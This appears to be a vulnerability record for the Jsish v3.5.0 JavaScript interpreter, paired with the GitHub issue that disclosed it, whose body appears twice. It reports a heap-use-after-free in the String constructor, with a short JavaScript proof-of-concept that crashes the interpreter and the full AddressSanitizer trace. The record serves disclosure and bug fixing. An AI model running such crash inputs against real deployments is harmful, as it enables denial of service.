Jsish v3.5.0 was discovered to contain a heap-use-after-free via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
try {
  var JSEtest = new String('test string');
  var At = JSEtest.constructor(JSEtest);
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==88163==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001bf0 at pc 0x7f8c725b9733 bp 0x7ffeb1c188d0 sp 0x7ffeb1c18078
READ of size 11 at 0x602000001bf0 thread T0
    #0 0x7f8c725b9732  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
    #1 0x5576fd6ba249 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
    #2 0x5576fd6ba249 in Jsi_StrdupLen src/jsiChar.c:74
    #3 0x5576fd6c8ac0 in StringConstructor src/jsiString.c:35
    #4 0x5576fd6a3818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x5576fd96d71a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x5576fd96d71a in jsiEvalFunction src/jsiEval.c:837
    #7 0x5576fd96d71a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x5576fd98115e in jsi_evalcode src/jsiEval.c:2204
    #9 0x5576fd985274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x5576fd67466a in Jsi_Main src/jsiInterp.c:936
    #11 0x5576fde7903a in jsi_main src/main.c:47
    #12 0x7f8c719afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x5576fd608969 in _start (/usr/local/bin/jsish+0xe8969)

0x602000001bf0 is located 0 bytes inside of 12-byte region [0x602000001bf0,0x602000001bfc)
freed by thread T0 here:
    #0 0x7f8c7261e7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5576fd6c8c19 in StringConstructor src/jsiString.c:33

previously allocated by thread T0 here:
    #0 0x7f8c7261eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
    #1 0x5576fd679a22 in Jsi_Malloc src/jsiUtils.c:52

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
  0x0c047fff8320: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd
=>0x0c047fff8370: fa fa 00 07 fa fa 00 00 fa fa 00 04 fa fa[fd]fd
  0x0c047fff8380: fa fa 00 04 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==88163==ABORTING
```

Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
try {
  var JSEtest = new String('test string');
  var At = JSEtest.constructor(JSEtest);
} catch (e) {
}
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
==88163==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001bf0 at pc 0x7f8c725b9733 bp 0x7ffeb1c188d0 sp 0x7ffeb1c18078
READ of size 11 at 0x602000001bf0 thread T0
    #0 0x7f8c725b9732  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
    #1 0x5576fd6ba249 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
    #2 0x5576fd6ba249 in Jsi_StrdupLen src/jsiChar.c:74
    #3 0x5576fd6c8ac0 in StringConstructor src/jsiString.c:35
    #4 0x5576fd6a3818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x5576fd96d71a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x5576fd96d71a in jsiEvalFunction src/jsiEval.c:837
    #7 0x5576fd96d71a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x5576fd98115e in jsi_evalcode src/jsiEval.c:2204
    #9 0x5576fd985274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x5576fd67466a in Jsi_Main src/jsiInterp.c:936
    #11 0x5576fde7903a in jsi_main src/main.c:47
    #12 0x7f8c719afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x5576fd608969 in _start (/usr/local/bin/jsish+0xe8969)

0x602000001bf0 is located 0 bytes inside of 12-byte region [0x602000001bf0,0x602000001bfc)
freed by thread T0 here:
    #0 0x7f8c7261e7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5576fd6c8c19 in StringConstructor src/jsiString.c:33

previously allocated by thread T0 here:
    #0 0x7f8c7261eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
    #1 0x5576fd679a22 in Jsi_Malloc src/jsiUtils.c:52

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
  0x0c047fff8320: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd
=>0x0c047fff8370: fa fa 00 07 fa fa 00 00 fa fa 00 04 fa fa[fd]fd
  0x0c047fff8380: fa fa 00 04 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==88163==ABORTING
```

--- end body ---

comments :
--- start comments ---

--- end comments ---